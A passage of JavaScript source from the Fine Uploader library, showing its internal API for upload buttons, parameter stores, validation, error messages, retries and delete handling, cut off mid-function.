},\n\n        setParams: function(params, id) {\n            this._paramsStore.set(params, id);\n        },\n\n        setUuid: function(id, newUuid) {\n            return this._uploadData.uuidChanged(id, newUuid);\n        },\n\n        uploadStoredFiles: function() {\n            if (this._storedIds.length === 0) {\n                this._itemError(\"noFilesError\");\n            }\n            else {\n                this._uploadStoredFiles();\n            }\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploaderBasic mode.\n     */\n    qq.basePrivateApi = {\n        // Updates internal state with a file record (not backed by a live file).  Returns the assigned ID.\n        _addCannedFile: function(sessionData) {\n            var id = this._uploadData.addFile({\n                uuid: sessionData.uuid,\n                name: sessionData.name,\n                size: sessionData.size,\n                status: qq.status.UPLOAD_SUCCESSFUL\n            });\n\n            sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);\n            sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);\n\n            if (sessionData.thumbnailUrl) {\n                this._thumbnailUrls[id] = sessionData.thumbnailUrl;\n            }\n\n            this._netUploaded++;\n            this._netUploadedOrQueued++;\n\n            return id;\n        },\n\n        _annotateWithButtonId: function(file, associatedInput) {\n            if (qq.isFile(file)) {\n                file.qqButtonId = this._getButtonId(associatedInput);\n            }\n        },\n\n        _batchError: function(message) {\n            this._options.callbacks.onError(null, null, message, undefined);\n        },\n\n        _createDeleteHandler: function() {\n            var self = this;\n\n            return new qq.DeleteFileAjaxRequester({\n                method: this._options.deleteFile.method.toUpperCase(),\n                maxConnections: this._options.maxConnections,\n                uuidParamName: this._options.request.uuidName,\n                customHeaders: this._deleteFileCustomHeadersStore,\n                paramsStore: this._deleteFileParamsStore,\n                endpointStore: this._deleteFileEndpointStore,\n                cors: this._options.cors,\n                log: qq.bind(self.log, self),\n                onDelete: function(id) {\n                    self._onDelete(id);\n                    self._options.callbacks.onDelete(id);\n                },\n                onDeleteComplete: function(id, xhrOrXdr, isError) {\n                    self._onDeleteComplete(id, xhrOrXdr, isError);\n                    self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);\n                }\n\n            });\n        },\n\n        _createPasteHandler: function() {\n            var self = this;\n\n            return new qq.PasteSupport({\n                targetElement: this._options.paste.targetElement,\n                callbacks: {\n                    log: qq.bind(self.log, self),\n                    pasteReceived: function(blob) {\n                        self._handleCheckedCallback({\n                            name: \"onPasteReceived\",\n                            callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),\n                            onSuccess: qq.bind(self._handlePasteSuccess, self, blob),\n                            identifier: \"pasted image\"\n                        });\n                    }\n                }\n            });\n        },\n\n        _createStore: function(initialValue, _readOnlyValues_) {\n            var store = {},\n                catchall = initialValue,\n                perIdReadOnlyValues = {},\n                readOnlyValues = _readOnlyValues_,\n                copy = function(orig) {\n                    if (qq.isObject(orig)) {\n                        return qq.extend({}, orig);\n                    }\n                    return orig;\n                },\n                getReadOnlyValues = function() {\n                    if (qq.isFunction(readOnlyValues)) {\n                        return readOnlyValues();\n                    }\n                    return readOnlyValues;\n                },\n                includeReadOnlyValues = function(id, existing) {\n                    if (readOnlyValues && qq.isObject(existing)) {\n                        qq.extend(existing, getReadOnlyValues());\n                    }\n\n                    if (perIdReadOnlyValues[id]) {\n                        qq.extend(existing, perIdReadOnlyValues[id]);\n                    }\n                };\n\n            return {\n                set: function(val, id) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id == null) {\n                        store = {};\n                        catchall = copy(val);\n                    }\n                    else {\n                        store[id] = copy(val);\n                    }\n                },\n\n                get: function(id) {\n                    var values;\n\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id != null && store[id]) {\n                        values = store[id];\n                    }\n                    else {\n                        values = copy(catchall);\n                    }\n\n                    includeReadOnlyValues(id, values);\n\n                    return copy(values);\n                },\n\n                addReadOnly: function(id, values) {\n                    // Only applicable to Object stores\n                    if (qq.isObject(store)) {\n                        // If null ID, apply readonly values to all files\n                        if (id === null) {\n                            if (qq.isFunction(values)) {\n                                readOnlyValues = values;\n                            }\n                            else {\n                                readOnlyValues = readOnlyValues || {};\n                                qq.extend(readOnlyValues, values);\n                            }\n                        }\n                        else {\n                            perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};\n                            qq.extend(perIdReadOnlyValues[id], values);\n                        }\n                    }\n                },\n\n                remove: function(fileId) {\n                    return delete store[fileId];\n                },\n\n                reset: function() {\n                    store = {};\n                    perIdReadOnlyValues = {};\n                    catchall = initialValue;\n                }\n            };\n        },\n\n        _createUploadDataTracker: function() {\n            var self = this;\n\n            return new qq.UploadData({\n                getName: function(id) {\n                    return self.getName(id);\n                },\n                getUuid: function(id) {\n                    return self.getUuid(id);\n                },\n                getSize: function(id) {\n                    return self.getSize(id);\n                },\n                onStatusChange: function(id, oldStatus, newStatus) {\n                    self._onUploadStatusChange(id, oldStatus, newStatus);\n                    self._options.callbacks.onStatusChange(id, oldStatus, newStatus);\n                    self._maybeAllComplete(id, newStatus);\n\n                    if (self._totalProgress) {\n                        setTimeout(function() {\n                            self._totalProgress.onStatusChange(id, oldStatus, newStatus);\n                        }, 0);\n                    }\n                }\n            });\n        },\n\n        /**\n         * Generate a tracked upload button.\n         *\n         * @param spec Object containing a required `element` property\n         * along with optional `multiple`, `accept`, and `folders`.\n         * @returns {qq.UploadButton}\n         * @private\n         */\n        _createUploadButton: function(spec) {\n            var self = this,\n                acceptFiles = spec.accept || this._options.validation.acceptFiles,\n                allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions,\n                button;\n\n            function allowMultiple() {\n                if (qq.supportedFeatures.ajaxUploading) {\n                    // Workaround for bug in iOS7+ (see #1039)\n                    if (self._options.workarounds.iosEmptyVideos &&\n                        qq.ios() &&\n                        !qq.ios6() &&\n                        self._isAllowedExtension(allowedExtensions, \".mov\")) {\n\n                        return false;\n                    }\n\n                    if (spec.multiple === undefined) {\n                        return self._options.multiple;\n                    }\n\n                    return spec.multiple;\n                }\n\n                return false;\n            }\n\n            button = new qq.UploadButton({\n                acceptFiles: acceptFiles,\n                element: spec.element,\n                focusClass: this._options.classes.buttonFocus,\n                folders: spec.folders,\n                hoverClass: this._options.classes.buttonHover,\n                ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,\n                multiple: allowMultiple(),\n                name: this._options.request.inputName,\n                onChange: function(input) {\n                    self._onInputChange(input);\n                },\n                title: spec.title == null ? this._options.text.fileInputTitle : spec.title\n            });\n\n            this._disposeSupport.addDisposer(function() {\n                button.dispose();\n            });\n\n            self._buttons.push(button);\n\n            return button;\n        },\n\n        _createUploadHandler: function(additionalOptions, namespace) {\n            var self = this,\n                lastOnProgress = {},\n                options = {\n                    debug: this._options.debug,\n                    maxConnections: this._options.maxConnections,\n                    cors: this._options.cors,\n                    paramsStore: this._paramsStore,\n                    endpointStore: this._endpointStore,\n                    chunking: this._options.chunking,\n                    resume: this._options.resume,\n                    blobs: this._options.blobs,\n                    log: qq.bind(self.log, self),\n                    preventRetryParam: this._options.retry.preventRetryResponseProperty,\n                    onProgress: function(id, name, loaded, total) {\n                        if (loaded < 0 || total < 0) {\n                            return;\n                        }\n\n                        if (lastOnProgress[id]) {\n                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {\n                                self._onProgress(id, name, loaded, total);\n                                self._options.callbacks.onProgress(id, name, loaded, total);\n                            }\n                        }\n                        else {\n                            self._onProgress(id, name, loaded, total);\n                            self._options.callbacks.onProgress(id, name, loaded, total);\n                        }\n\n                        lastOnProgress[id] = {loaded: loaded, total: total};\n\n                    },\n                    onComplete: function(id, name, result, xhr) {\n                        delete lastOnProgress[id];\n\n                        var status = self.getUploads({id: id}).status,\n                            retVal;\n\n                        // This is to deal with some observed cases where the XHR readyStateChange handler is\n                        // invoked by the browser multiple times for the same XHR instance with the same state\n                        // readyState value.  Higher level: don't invoke complete-related code if we've already\n                        // done this.\n                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {\n                            return;\n                        }\n\n                        retVal = self._onComplete(id, name, result, xhr);\n\n                        // If the internal `_onComplete` handler returns a promise, don't invoke the `onComplete` callback\n                        // until the promise has been fulfilled.\n                        if (retVal instanceof  qq.Promise) {\n                            retVal.done(function() {\n                                self._options.callbacks.onComplete(id, name, result, xhr);\n                            });\n                        }\n                        else {\n                            self._options.callbacks.onComplete(id, name, result, xhr);\n                        }\n                    },\n                    onCancel: function(id, name, cancelFinalizationEffort) {\n                        var promise = new qq.Promise();\n\n                        self._handleCheckedCallback({\n                            name: \"onCancel\",\n                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),\n                            onFailure: promise.failure,\n                            onSuccess: function() {\n                                cancelFinalizationEffort.then(function() {\n                                    self._onCancel(id, name);\n                                });\n\n                                promise.success();\n                            },\n                            identifier: id\n                        });\n\n                        return promise;\n                    },\n                    onUploadPrep: qq.bind(this._onUploadPrep, this),\n                    onUpload: function(id, name) {\n                        self._onUpload(id, name);\n                        self._options.callbacks.onUpload(id, name);\n                    },\n                    onUploadChunk: function(id, name, chunkData) {\n                        self._onUploadChunk(id, chunkData);\n                        self._options.callbacks.onUploadChunk(id, name, chunkData);\n                    },\n                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {\n                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);\n                    },\n                    onResume: function(id, name, chunkData) {\n                        return self._options.callbacks.onResume(id, name, chunkData);\n                    },\n                    onAutoRetry: function(id, name, responseJSON, xhr) {\n                        return self._onAutoRetry.apply(self, arguments);\n                    },\n                    onUuidChanged: function(id, newUuid) {\n                        self.log(\"Server requested UUID change from '\" + self.getUuid(id) + \"' to '\" + newUuid + \"'\");\n                        self.setUuid(id, newUuid);\n                    },\n                    getName: qq.bind(self.getName, self),\n                    getUuid: qq.bind(self.getUuid, self),\n                    getSize: qq.bind(self.getSize, self),\n                    setSize: qq.bind(self._setSize, self),\n                    getDataByUuid: function(uuid) {\n                        return self.getUploads({uuid: uuid});\n                    },\n                    isQueued: function(id) {\n                        var status = self.getUploads({id: id}).status;\n                        return status === qq.status.QUEUED ||\n                            status === qq.status.SUBMITTED ||\n                            status === qq.status.UPLOAD_RETRYING ||\n                            status === qq.status.PAUSED;\n                    },\n                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,\n                    getIdsInBatch: self._uploadData.getIdsInBatch\n                };\n\n            qq.each(this._options.request, function(prop, val) {\n                options[prop] = val;\n            });\n\n            options.customHeaders = this._customHeadersStore;\n\n            if (additionalOptions) {\n                qq.each(additionalOptions, function(key, val) {\n                    options[key] = val;\n                });\n            }\n\n            return new qq.UploadHandlerController(options, namespace);\n        },\n\n        _fileOrBlobRejected: function(id) {\n            this._netUploadedOrQueued--;\n            this._uploadData.setStatus(id, qq.status.REJECTED);\n        },\n\n        _formatSize: function(bytes) {\n            var i = -1;\n            do {\n                bytes = bytes / 1000;\n                i++;\n            } while (bytes > 999);\n\n            return Math.max(bytes, 0.1).toFixed(1) + this._options.text.sizeSymbols[i];\n        },\n\n        // Creates an internal object that tracks various properties of each extra button,\n        // and then actually creates the extra button.\n        _generateExtraButtonSpecs: function() {\n            var self = this;\n\n            this._extraButtonSpecs = {};\n\n            qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {\n                var multiple = extraButtonOptionEntry.multiple,\n                    validation = qq.extend({}, self._options.validation, true),\n                    extraButtonSpec = qq.extend({}, extraButtonOptionEntry);\n\n                if (multiple === undefined) {\n                    multiple = self._options.multiple;\n                }\n\n                if (extraButtonSpec.validation) {\n                    qq.extend(validation, extraButtonOptionEntry.validation, true);\n                }\n\n                qq.extend(extraButtonSpec, {\n                    multiple: multiple,\n                    validation: validation\n                }, true);\n\n                self._initExtraButton(extraButtonSpec);\n            });\n        },\n\n        _getButton: function(buttonId) {\n            var extraButtonsSpec = this._extraButtonSpecs[buttonId];\n\n            if (extraButtonsSpec) {\n                return extraButtonsSpec.element;\n            }\n            else if (buttonId === this._defaultButtonId) {\n                return this._options.button;\n            }\n        },\n\n        /**\n         * Gets the internally used tracking ID for a button.\n         *\n         * @param buttonOrFileInputOrFile `File`, `<input type=\"file\">`, or a button container element\n         * @returns {*} The button's ID, or undefined if no ID is recoverable\n         * @private\n         */\n        _getButtonId: function(buttonOrFileInputOrFile) {\n            var inputs, fileInput,\n                fileBlobOrInput = buttonOrFileInputOrFile;\n\n            // We want the reference file/blob here if this is a proxy (a file that will be generated on-demand later)\n            if (fileBlobOrInput instanceof qq.BlobProxy) {\n                fileBlobOrInput = fileBlobOrInput.referenceBlob;\n            }\n\n            // If the item is a `Blob` it will never be associated with a button or drop zone.\n            if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {\n                if (qq.isFile(fileBlobOrInput)) {\n                    return fileBlobOrInput.qqButtonId;\n                }\n                else if (fileBlobOrInput.tagName.toLowerCase() === \"input\" &&\n                    fileBlobOrInput.type.toLowerCase() === \"file\") {\n\n                    return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n\n                inputs = fileBlobOrInput.getElementsByTagName(\"input\");\n\n                qq.each(inputs, function(idx, input) {\n                    if (input.getAttribute(\"type\") === \"file\") {\n                        fileInput = input;\n                        return false;\n                    }\n                });\n\n                if (fileInput) {\n                    return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n            }\n        },\n\n        _getNotFinished: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED,\n                    qq.status.SUBMITTING,\n                    qq.status.SUBMITTED,\n                    qq.status.PAUSED\n                ]\n            }).length;\n        },\n\n        // Get the validation options for this button.  Could be the default validation option\n        // or a specific one assigned to this particular button.\n        _getValidationBase: function(buttonId) {\n            var extraButtonSpec = this._extraButtonSpecs[buttonId];\n\n            return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;\n        },\n\n        _getValidationDescriptor: function(fileWrapper) {\n            if (fileWrapper.file instanceof qq.BlobProxy) {\n                return {\n                    name: qq.getFilename(fileWrapper.file.referenceBlob),\n                    size: fileWrapper.file.referenceBlob.size\n                };\n            }\n\n            return {\n                name: this.getUploads({id: fileWrapper.id}).name,\n                size: this.getUploads({id: fileWrapper.id}).size\n            };\n        },\n\n        _getValidationDescriptors: function(fileWrappers) {\n            var self = this,\n                fileDescriptors = [];\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                fileDescriptors.push(self._getValidationDescriptor(fileWrapper));\n            });\n\n            return fileDescriptors;\n        },\n\n        // Allows camera access on either the default or an extra button for iOS devices.\n        _handleCameraAccess: function() {\n            if (this._options.camera.ios && qq.ios()) {\n                var acceptIosCamera = \"image/*;capture=camera\",\n                    button = this._options.camera.button,\n                    buttonId = button ? this._getButtonId(button) : this._defaultButtonId,\n                    optionRoot = this._options;\n\n                // If we are not targeting the default button, it is an \"extra\" button\n                if (buttonId && buttonId !== this._defaultButtonId) {\n                    optionRoot = this._extraButtonSpecs[buttonId];\n                }\n\n                // Camera access won't work in iOS if the `multiple` attribute is present on the file input\n                optionRoot.multiple = false;\n\n                // update the options\n                if (optionRoot.validation.acceptFiles === null) {\n                    optionRoot.validation.acceptFiles = acceptIosCamera;\n                }\n                else {\n                    optionRoot.validation.acceptFiles += \",\" + acceptIosCamera;\n                }\n\n                // update the already-created button\n                qq.each(this._buttons, function(idx, button) {\n                    if (button.getButtonId() === buttonId) {\n                        button.setMultiple(optionRoot.multiple);\n                        button.setAcceptFiles(optionRoot.acceptFiles);\n\n                        return false;\n                    }\n                });\n            }\n        },\n\n        _handleCheckedCallback: function(details) {\n            var self = this,\n                callbackRetVal = details.callback();\n\n            if (qq.isGenericPromise(callbackRetVal)) {\n                this.log(details.name + \" - waiting for \" + details.name + \" promise to be fulfilled for \" + details.identifier);\n                return callbackRetVal.then(\n                    function(successParam) {\n                        self.log(details.name + \" promise success for \" + details.identifier);\n                        details.onSuccess(successParam);\n                    },\n                    function() {\n                        if (details.onFailure) {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                            details.onFailure();\n                        }\n                        else {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                        }\n                    });\n            }\n\n            if (callbackRetVal !== false) {\n                details.onSuccess(callbackRetVal);\n            }\n            else {\n                if (details.onFailure) {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Invoking failure callback.\");\n                    details.onFailure();\n                }\n                else {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Will not proceed.\");\n                }\n            }\n\n            return callbackRetVal;\n        },\n\n        // Updates internal state when a new file has been received, and adds it along with its ID to a passed array.\n        _handleNewFile: function(file, batchId, newFileWrapperList) {\n            var self = this,\n                uuid = qq.getUniqueId(),\n                size = -1,\n                name = qq.getFilename(file),\n                actualFile = file.blob || file,\n                handler = this._customNewFileHandler ?\n                    this._customNewFileHandler :\n                    qq.bind(self._handleNewFileGeneric, self);\n\n            if (!qq.isInput(actualFile) && actualFile.size >= 0) {\n                size = actualFile.size;\n            }\n\n            handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {\n                uploadData: self._uploadData,\n                paramsStore: self._paramsStore,\n                addFileToHandler: function(id, file) {\n                    self._handler.add(id, file);\n                    self._netUploadedOrQueued++;\n                    self._trackButton(id);\n                }\n            });\n        },\n\n        _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {\n            var id = this._uploadData.addFile({uuid: uuid, name: name, size: size, batchId: batchId});\n\n            this._handler.add(id, file);\n            this._trackButton(id);\n\n            this._netUploadedOrQueued++;\n\n            fileList.push({id: id, file: file});\n        },\n\n        _handlePasteSuccess: function(blob, extSuppliedName) {\n            var extension = blob.type.split(\"/\")[1],\n                name = extSuppliedName;\n\n            /*jshint eqeqeq: true, eqnull: true*/\n            if (name == null) {\n                name = this._options.paste.defaultName;\n            }\n\n            name += \".\" + extension;\n\n            this.addFiles({\n                name: name,\n                blob: blob\n            });\n        },\n\n        // Creates an extra button element\n        _initExtraButton: function(spec) {\n            var button = this._createUploadButton({\n                accept: spec.validation.acceptFiles,\n                allowedExtensions: spec.validation.allowedExtensions,\n                element: spec.element,\n                folders: spec.folders,\n                multiple: spec.multiple,\n                title: spec.fileInputTitle\n            });\n\n            this._extraButtonSpecs[button.getButtonId()] = spec;\n        },\n\n        _initFormSupportAndParams: function() {\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n            );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore = this._createStore(\n                    this._options.request.params,  this._formSupport.getFormInputsAsObject\n                );\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this._options.request.endpoint = this._formSupport.newEndpoint;\n                }\n            }\n            else {\n                this._paramsStore = this._createStore(this._options.request.params);\n            }\n        },\n\n        _isDeletePossible: function() {\n            if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {\n                return false;\n            }\n\n            if (this._options.cors.expected) {\n                if (qq.supportedFeatures.deleteFileCorsXhr) {\n                    return true;\n                }\n\n                if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {\n                    return true;\n                }\n\n                return false;\n            }\n\n            return true;\n        },\n\n        _isAllowedExtension: function(allowed, fileName) {\n            var valid = false;\n\n            if (!allowed.length) {\n                return true;\n            }\n\n            qq.each(allowed, function(idx, allowedExt) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExt)) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    var extRegex = new RegExp(\"\\\\.\" + allowedExt + \"$\", \"i\");\n\n                    if (fileName.match(extRegex) != null) {\n                        valid = true;\n                        return false;\n                    }\n                }\n            });\n\n            return valid;\n        },\n\n        /**\n         * Constructs and returns a message that describes an item/file error.  Also calls `onError` callback.\n         *\n         * @param code REQUIRED - a code that corresponds to a stock message describing this type of error\n         * @param maybeNameOrNames names of the items that have failed, if applicable\n         * @param item `File`, `Blob`, or `<input type=\"file\">`\n         * @private\n         */\n        _itemError: function(code, maybeNameOrNames, item) {\n            var message = this._options.messages[code],\n                allowedExtensions = [],\n                names = [].concat(maybeNameOrNames),\n                name = names[0],\n                buttonId = this._getButtonId(item),\n                validationBase = this._getValidationBase(buttonId),\n                extensionsForMessage, placeholderMatch;\n\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            qq.each(validationBase.allowedExtensions, function(idx, allowedExtension) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExtension)) {\n                    allowedExtensions.push(allowedExtension);\n                }\n            });\n\n            extensionsForMessage = allowedExtensions.join(\", \").toLowerCase();\n\n            r(\"{file}\", this._options.formatFileName(name));\n            r(\"{extensions}\", extensionsForMessage);\n            r(\"{sizeLimit}\", this._formatSize(validationBase.sizeLimit));\n            r(\"{minSizeLimit}\", this._formatSize(validationBase.minSizeLimit));\n\n            placeholderMatch = message.match(/(\\{\\w+\\})/g);\n            if (placeholderMatch !== null) {\n                qq.each(placeholderMatch, function(idx, placeholder) {\n                    r(placeholder, names[idx]);\n                });\n            }\n\n            this._options.callbacks.onError(null, name, message, undefined);\n\n            return message;\n        },\n\n        /**\n         * Conditionally orders a manual retry of a failed upload.\n         *\n         * @param id File ID of the failed upload\n         * @param callback Optional callback to invoke if a retry is prudent.\n         * In lieu of asking the upload handler to retry.\n         * @returns {boolean} true if a manual retry will occur\n         * @private\n         */\n        _manualRetry: function(id, callback) {\n            if (this._onBeforeManualRetry(id)) {\n                this._netUploadedOrQueued++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                if (callback) {\n                    callback(id);\n                }\n                else {\n                    this._handler.retry(id);\n                }\n\n                return true;\n            }\n        },\n\n        _maybeAllComplete: function(id, status) {\n            var self = this,\n                notFinished = this._getNotFinished();\n\n            if (status === qq.status.UPLOAD_SUCCESSFUL) {\n                this._succeededSinceLastAllComplete.push(id);\n            }\n            else if (status === qq.status.UPLOAD_FAILED) {\n                this._failedSinceLastAllComplete.push(id);\n            }\n\n            if (notFinished === 0 &&\n                (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {\n                // Attempt to ensure onAllComplete is not invoked before other callbacks, such as onCancel & onComplete\n                setTimeout(function() {\n                    self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);\n                }, 0);\n            }\n        },\n\n        _maybeHandleIos8SafariWorkaround: function() {\n            var self = this;\n\n            if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n                setTimeout(function() {\n                    window.alert(self._options.messages.unsupportedBrowserIos8Safari);\n                }, 0);\n                throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);\n            }\n        },\n\n        _maybeParseAndSendUploadError: function(id, name, response, xhr) {\n            // Assuming no one will actually set the response code to something other than 200\n            // and still set 'success' to true...\n            if (!response.success) {\n                if (xhr && xhr.status !== 200 && !response.error) {\n                    this._options.callbacks.onError(id, name, \"XHR returned response code \" + xhr.status, xhr);\n                }\n                else {\n                    var errorReason = response.error ? response.error : this._options.text.defaultResponseError;\n                    this._options.callbacks.onError(id, name, errorReason, xhr);\n                }\n            }\n        },\n\n        _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {\n            var self = this;\n\n            if (items.length > index) {\n                if (validItem || !this._options.validation.stopOnFirstInvalidFile) {\n                    //use setTimeout to prevent a stack overflow with a large number of files in the batch & non-promissory callbacks\n                    setTimeout(function() {\n                        var validationDescriptor = self._getValidationDescriptor(items[index]),\n                            buttonId = self._getButtonId(items[index].file),\n                            button = self._getButton(buttonId);\n\n                        self._handleCheckedCallback({\n                            name: \"onValidate\",\n                            callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),\n                            onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),\n                            onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),\n                            identifier: \"Item '\" + validationDescriptor.name + \"', size: \" + validationDescriptor.size\n                        });\n                    }, 0);\n                }\n                else if (!validItem) {\n                    for (; index < items.length; index++) {\n                        self._fileOrBlobRejected(items[index].id);\n                    }\n                }\n            }\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);\n\n            this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n        },\n\n        /**\n         * Attempt to automatically retry a failed upload.\n         *\n         * @param id The file ID of the failed upload\n         * @param name The name of the file associated with the failed upload\n         * @param responseJSON Response from the server, parsed into a javascript object\n         * @param xhr Ajax transport used to send the failed request\n         * @param callback Optional callback to be invoked if a retry is prudent.\n         * Invoked in lieu of asking the upload handler to retry.\n         * @returns {boolean} true if an auto-retry will occur\n         * @private\n         */\n        _onAutoRetry: function(id, name, responseJSON, xhr, callback) {\n            var self = this;\n\n            self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];\n\n            if (self._shouldAutoRetry(id, name, responseJSON)) {\n                self._maybeParseAndSendUploadError.apply(self, arguments);\n                self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);\n                self._onBeforeAutoRetry(id, name);\n\n                self._retryTimeouts[id] = setTimeout(function() {\n                    self.log(\"Retrying \" + name + \"...\");\n                    self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                    if (callback) {\n                        callback(id);\n                    }\n                    else {\n                        self._handler.retry(id);\n                    }\n                }, self._options.retry.autoAttemptDelay * 1000);\n\n                return true;\n            }\n        },\n\n        _onBeforeAutoRetry: function(id, name) {\n            this.log(\"Waiting \" + this._options.retry.autoAttemptDelay + \" seconds before retrying \" + name + \"...\");\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            var itemLimit = this._currentItemLimit,\n                fileName;\n\n            if (this._preventRetries[id]) {\n                this.log(\"Retries are forbidden for id \" + id, \"warn\");\n                return false;\n            }\n            else if (this._handler.isValid(id)) {\n                fileName = this.getName(id);\n\n                if (this._options.callbacks.onManualRetry(id, fileName) === false) {\n                    return false;\n                }\n\n                if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {\n                    this._itemError(\"retryFailTooManyItems\");\n                    return false;\n                }\n\n                this.log(\"Retrying upload for '\" + fileName + \"' (id: \" + id + \")...\");\n                return true;\n            }\n            else {\n                this.log(\"'\" + id + \"' is not a valid file ID\", \"error\");\n                return false;\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._netUploadedOrQueued--;\n\n            clearTimeout(this._retryTimeouts[id]);\n\n            var storedItemIndex = qq.indexOf(this._storedIds, id);\n            if (!this._options.autoUpload && storedItemIndex >= 0) {\n                this._storedIds.splice(storedItemIndex, 1);\n            }\n\n            this._uploadData.setStatus(id, qq.status.CANCELED);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            if (!result.success) {\n                this._netUploadedOrQueued--;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);\n\n                if (result[this._options.retry.preventRetryResponseProperty] === true) {\n                    this._preventRetries[id] = true;\n                }\n            }\n            else {\n                if (result.thumbnailUrl) {\n                    this._thumbnailUrls[id] = result.thumbnailUrl;\n                }\n\n                this._netUploaded++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);\n            }\n\n            this._maybeParseAndSendUploadError(id, name, result, xhr);\n\n            return result.success ? true : false;\n        },\n\n        _onDelete: function(id) {\n            this._uploadData.setStatus(id, qq.status.DELETING);\n        },\n\n        _onDeleteComplete: function(id, xhrOrXdr, isError) {\n            var name = this.getName(id);\n\n            if (isError) {\n                this._uploadData.setStatus(id, qq.status.DELETE_FAILED);\n                this.log(\"Delete request for '\" + name + \"' has failed.\", \"error\");\n\n                // For error reporting, we only have access to the response status if this is not\n                // an `XDomainRequest`.\n                if (xhrOrXdr.withCredentials === undefined) {\n                    this._options.callbacks.onError(id, name, \"Delete request failed\", xhrOrXdr);\n                }\n                else {\n                    this._options.callbacks.onError(id, name, \"Delete request failed with response code \" + xhrOrXdr.status, xhrOrXdr);\n                }\n            }\n            else {\n                this._netUploadedOrQueued--;\n                this._netUploaded--;\n                this._handler.expunge(id);\n                this._uploadData.setStatus(id, qq.status.DELETED);\n                this.log(\"Delete request for '\" + name + \"' has succeeded.\");\n            }\n        },\n\n        _onInputChange: function(input) {\n            var fileIndex;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {\n                    this._annotateWithButtonId(input.files[fileIndex], input);\n                }\n\n                this.addFiles(input.files);\n            }\n            // Android 2.3.x will fire `onchange` even if no file has been selected\n            else if (input.value.length > 0) {\n                this.addFiles(input);\n            }\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n        },\n\n        _onProgress: function(id, name, loaded, total) {\n            this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);\n        },\n\n        _onSubmit: function(id, name) {\n            //nothing to do yet in core uploader\n        },\n\n        _onSubmitCallbackSuccess: function(id, name) {\n            this._onSubmit.apply(this, arguments);\n            this._uploadData.setStatus(id, qq.status.SUBMITTED);\n            this._onSubmitted.apply(this, 